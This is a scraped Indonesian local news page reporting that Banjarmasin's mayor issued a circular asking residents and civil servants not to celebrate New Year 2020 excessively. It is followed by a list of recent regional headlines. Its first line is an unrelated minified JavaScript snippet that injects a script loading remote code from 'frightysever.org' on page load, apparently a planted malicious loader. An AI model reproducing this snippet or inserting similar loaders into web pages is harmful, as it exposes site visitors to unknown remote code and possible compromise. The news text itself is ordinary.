(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Pemko Banjarmasin Keluarkan Surat Edaran Tak Rayakan Pergantian Tahun Berlebihan


BANJARMASIN, Walikota Banjarmasin Ibnu Sina mengimbau warganya tak merayakan pergantian tahun baru 2020 secara berlebihan. Melalui akun media sosial miliknya pada Jum’at (27/12), Ibnu bahkan menyampaikan surat edaran (SE) yang isinya mengajak untuk mengisi tahun baru dengan acara di rumah saja. “Artinya kegiatan tahun baru ini silahkan diisi dengan kegiatan positif. Sesuai dengan himbauan saya, masyarakat kalau bisa isi dengan kerukunan keluarga saja,” jelas Ibnu saat ditemui usai acara diskusi, Sabtu (28/12) malam.

Kali ini, Pemko memang tak menggelar acara “Banjarmasin Bersholawat” sebagaimana tahun sebelumnya menyambut pergantian tahun. Padahal acara tersebut tiga tahun berturut-turut terus dilaksanakan. “Karena teknisi juga ingin istirahat, majelis ingin istirahat. Sehingga muncul seruan sepikan malam tahun baru,” katanya. Sebelumnya, pemko telah menyampaikan surat edaran yang tertulis Nomor : 100/ 615 -BAGPEM/Setko/XII/2019 tentang Himbauan Penyambutan Tahun Baru 2020 Masehi di Kota Banjarmasin. Surat edaran tersebut berisikan tentang himbauan kepada masyarakat Banjarmasin untuk tidak merayakan pergantian tahun baru 2020 dengan berlebihan.

Hal tersebut ditegaskan pada poin kedua yang tertulis “Bagi seluruh warga untuk menjaga ketertiban, keamanan dan kebersihan selama melaksanakan kegiatan maupun selama pergantian tahun, tidak menyalakan/membakar kembang api dan melakukan kegiatan hura-hura yang dapat mengganggu kenyamanan lingkungan sekitar.”

Memang hal tersebut dianggap tidak biasa bagi sebagian orang. Terlebih Banjarmasin merupakan pusat kota dengan penduduk terpadat di Kalimantan Selatan. Dalam hal ini, Ibnu Sina juga menegaskan imbauannya melalui surat edaran pada poin ketiga yang ditujukan untuk Aparatur Sipil Negara (ASN).

“Dihimbau kepada seluruh Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota Banjarmasin untuk tidak melakukan aktivitas yang berlebihan dalam merayakan malam tahun baru,” tegas Ibnu.
Lebih lanjut Ia menegaskan untuk seluruh SKPD, Camat, dan Lurah untuk menindak lanjuti surat edaran tersebut. Walaupun sudah ada himbauan, Ibnu mengatakan tetap terus berkoordinasi dengan pihak Kepolisian. “Karena bagaimanapun juga masyarakat pasti akan keluar rumah, kecuali hujan. Seperti di Siring inilah pusatnya,” pungkasnya. (Riki)

 

Reporter : Riki
Editor : Cell

Desy Arfianty

Recent Posts

Banjir Rob Murung Selong Banjarmasin 407 Jiwa Terdampak

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More

9 jam ago

Tanggul Halangi Air Keluar di Komplek PWI, Ketua DPRD Banjarmasin Minta Dibongkar

KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More

9 jam ago

Banjir di Gang Serumpun Sungai Lulut Masih Selutut

KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More

10 jam ago

BLK Kalsel Buka Pendaftaran Pelatihan Kerja Tahun 2026

KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More

15 jam ago

Besok, Presiden RI Resmikan 166 Sekolah Rakyat Terpadu di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More

16 jam ago

Remaja 13 Tahun Terseret Arus di Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More

1 hari ago

This website uses cookies.